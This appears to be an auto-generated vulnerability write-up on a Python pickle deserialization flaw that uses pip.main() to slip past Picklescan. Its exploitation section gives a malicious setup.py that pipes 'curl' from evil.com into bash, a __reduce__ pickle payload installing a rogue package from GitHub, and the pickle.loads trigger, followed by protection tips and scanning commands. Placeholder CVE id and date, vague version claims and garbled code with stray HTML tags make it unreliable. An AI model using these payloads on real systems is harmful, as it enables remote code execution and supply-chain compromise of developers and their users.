Python, Unsafe Deserialization, CVE-2023-XXXX (Critical)

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How the CVE Works:

The vulnerability lies in Python’s `pickle` module, which allows unsafe deserialization of data. Attackers can exploit this by crafting a malicious pickle object that leverages the `__reduce__` method to execute arbitrary code during deserialization. Specifically, the exploit uses `pip.main()` to install a malicious package from PyPI or GitHub. Since `pip` is a trusted tool, this activity often bypasses static analysis tools like Picklescan. Once the malicious package is installed, it can execute arbitrary code via setup.py, entry_points, or post-install hooks, leading to remote code execution (RCE).

The attack unfolds as follows:

  1. A malicious pickle object is created, which calls `pip.main()` to install a rogue package.
  2. The package contains a `setup.py` file that executes a remote shell script or other malicious code.
  3. When the pickle object is deserialized, the malicious package is installed, and the embedded code is executed silently, often evading detection.

DailyCVE Form:

Platform: Python
Version: All versions using pickle
Vulnerability: Unsafe Deserialization
Severity: Critical
Date: 2023-XX-XX

What Undercode Say:

Exploitation:

1. Create Malicious Package:

  • Host a PyPI package with a malicious `setup.py` file.
  • Example setup.py: 
    from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash")
setup(
name="malicious-pkg",
version="0.1",
packages=["malicious"],
install_requires=[],
)

2. Craft Pickle Payload:

  • Use the `__reduce__` method to call pip.main(): 
    import pickle
import pip</li>
</ul>

class Exploit:
def <strong>reduce</strong>(self):
return pip.main, (['install', 'git+https://github.com/evil/malicious-pkg'],)

malicious_pickle = pickle.dumps(Exploit())

    3. Trigger Exploit:

    • Deserialize the malicious pickle object: 
      pickle.loads(malicious_pickle)

    Protection:

    1. Avoid Untrusted Pickle Data:

    • Never deserialize data from untrusted sources.

    2. Use Safe Alternatives:

    • Replace `pickle` with safer serialization formats like `json` or yaml.

    3. Restrict Unsafe Globals:

    • Add `”pip”: “”` to the list of unsafe globals in your security tools.

    4. Scan for Malicious Packages:

    • Use tools like `Picklescan` and `Bandit` to detect unsafe deserialization patterns.

    5. Monitor Network Traffic:

    • Block suspicious outbound connections to unknown domains.

    Commands:

    • Scan for vulnerabilities: 
      bandit -r . -ll
    • Install Picklescan: 
      pip install picklescan
    • Scan pickle files: 
      picklescan --path malicious.pkl

    References:

    Analytics:

    • Attack Vector: Remote
    • Exploitability: High
    • Impact: Critical (RCE, Supply Chain Compromise)
    • Detection Difficulty: Medium (Bypasses static analysis tools)

    By following these steps, you can both exploit and protect against this critical vulnerability in Python’s `pickle` module.

    References:

    Reported By: https://github.com/advisories/GHSA-655q-fx9r-782v
    Extra Source Hub:
    Undercode

    Image Source:

    Undercode AI DI v2Featured Image

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